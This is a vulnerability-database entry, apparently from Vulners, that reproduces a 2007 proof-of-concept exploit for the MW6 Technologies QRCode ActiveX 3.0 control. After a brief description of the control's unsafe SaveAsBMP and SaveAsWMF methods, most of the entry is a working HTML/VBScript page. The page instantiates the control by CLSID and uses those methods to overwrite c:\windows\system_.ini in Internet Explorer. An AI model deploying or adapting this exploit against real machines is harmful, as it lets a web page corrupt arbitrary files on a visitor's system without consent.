MW6 Technologies QRCode ActiveX 3.0 Remote File Overwrite Exploit

🗓️ 19 Sep 2007 00:00:00Reported by RootType

MW6 Technologies QRCode ActiveX 3.0 Remote File Overwrite Exploit via SaveAsBMP and SaveAsWMF method


                                                &lt;pre&gt;
&lt;code&gt;&lt;span&nbsp;style=&quot;font:&nbsp;10pt&nbsp;Courier&nbsp;New;&quot;&gt;&lt;span&nbsp;class=&quot;general1-symbol&quot;&gt;&lt;body&nbsp;bgcolor=&quot;#E0E0E0&quot;&gt;-----------------------------------------------------------------------------
&nbsp;&lt;b&gt;MW6&nbsp;Technologies&nbsp;QRCode&nbsp;ActiveX&nbsp;3.0&nbsp;(MW6QRCode.dll)&nbsp;Remote&nbsp;File&nbsp;Overwrite&lt;/b&gt;
&nbsp;url:&nbsp;www.mw6tech.com

&nbsp;Author:&nbsp;shinnai
&nbsp;mail:&nbsp;shinnai[at]autistici[dot]org
&nbsp;site:&nbsp;http://shinnai.altervista.org

&nbsp;This&nbsp;was&nbsp;written&nbsp;for&nbsp;educational&nbsp;purpose.&nbsp;Use&nbsp;it&nbsp;at&nbsp;your&nbsp;own&nbsp;risk.
&nbsp;Author&nbsp;will&nbsp;be&nbsp;not&nbsp;responsible&nbsp;for&nbsp;any&nbsp;damage.

&nbsp;Tested&nbsp;on&nbsp;Windows&nbsp;XP&nbsp;Professional&nbsp;SP2&nbsp;all&nbsp;patched,&nbsp;with&nbsp;Internet&nbsp;Explorer&nbsp;7

&nbsp;&lt;b&gt;Description:
&nbsp;This&nbsp;control&nbsp;contains&nbsp;two&nbsp;methods,&nbsp;&quot;SaveAsBMP()&quot;&nbsp;and&nbsp;&quot;SaveAsWMF()&quot;,&nbsp;which
&nbsp;write&nbsp;to&nbsp;a&nbsp;file&nbsp;specified&nbsp;as&nbsp;an&nbsp;argument.
&nbsp;These&nbsp;can&nbsp;be&nbsp;exploited&nbsp;to&nbsp;overwrite&nbsp;and&nbsp;corrupt&nbsp;arbitrary&nbsp;files&nbsp;on&nbsp;the
&nbsp;system&nbsp;in&nbsp;the&nbsp;context&nbsp;of&nbsp;the&nbsp;currently&nbsp;logged-on&nbsp;user.

&nbsp;Marked&nbsp;as:
&nbsp;RegKey&nbsp;Safe&nbsp;for&nbsp;Script:&nbsp;False
&nbsp;RegKey&nbsp;Safe&nbsp;for&nbsp;Init:&nbsp;False
&nbsp;Implements&nbsp;IObjectSafety:&nbsp;True
&nbsp;IDisp&nbsp;Safe:&nbsp;Safe&nbsp;for&nbsp;untrusted:&nbsp;caller,data
&nbsp;IPersist&nbsp;Safe:&nbsp;Safe&nbsp;for&nbsp;untrusted:&nbsp;caller,data
&nbsp;IPStorage&nbsp;Safe:&nbsp;Safe&nbsp;for&nbsp;untrusted:&nbsp;caller,data
&nbsp;KillBitSet:&nbsp;Falso&lt;/b&gt;&nbsp;
-----------------------------------------------------------------------------
&lt;object&nbsp;classid='clsid:3BB56637-651D-4D1D-AFA4-C0506F57EAF8'&nbsp;id='test'&nbsp;width='24'&nbsp;height='24'&gt;&lt;/object&gt;

&lt;select&nbsp;style=&quot;width:&nbsp;404px&quot;&nbsp;name=&quot;Pucca&quot;&gt;
&nbsp;&nbsp;&lt;option&nbsp;value&nbsp;=&nbsp;&quot;SaveAsBMP&quot;&gt;SaveAsBMP&lt;/option&gt;
&nbsp;&nbsp;&lt;option&nbsp;value&nbsp;=&nbsp;&quot;SaveAsWMF&quot;&gt;SaveAsWMF&lt;/option&gt;

&lt;/select&gt;

&lt;input&nbsp;language=VBScript&nbsp;onclick=tryMe()&nbsp;type=button&nbsp;value=&quot;Click&nbsp;here&nbsp;to&nbsp;start&nbsp;the&nbsp;test&quot;&gt;

&lt;script&nbsp;language='vbscript'&gt;
&nbsp;Sub&nbsp;tryMe
&nbsp;&nbsp;on&nbsp;error&nbsp;resume&nbsp;next
&nbsp;&nbsp;&nbsp;Dim&nbsp;MyMsg
&nbsp;&nbsp;&nbsp;if&nbsp;Pucca.value&nbsp;=&nbsp;&quot;SaveAsBMP&quot;&nbsp;then
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;test.SaveAsBMP&nbsp;&quot;c:\windows\system_.ini&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MsgBox&nbsp;&quot;Exploit&nbsp;completed.&quot;
&nbsp;&nbsp;&nbsp;elseif&nbsp;Pucca.value&nbsp;=&nbsp;&quot;SaveAsWMF&quot;&nbsp;then
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;test.SaveAsWMF&nbsp;&quot;c:\windows\system_.ini&quot;
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;MsgBox&nbsp;&quot;Exploit&nbsp;completed.&quot;
&nbsp;&nbsp;&nbsp;end&nbsp;if
&nbsp;End&nbsp;Sub
&lt;/script&gt;
&lt;/span&gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

19 Sep 2007 00:00Current

7.1High risk

Vulners AI Score7.1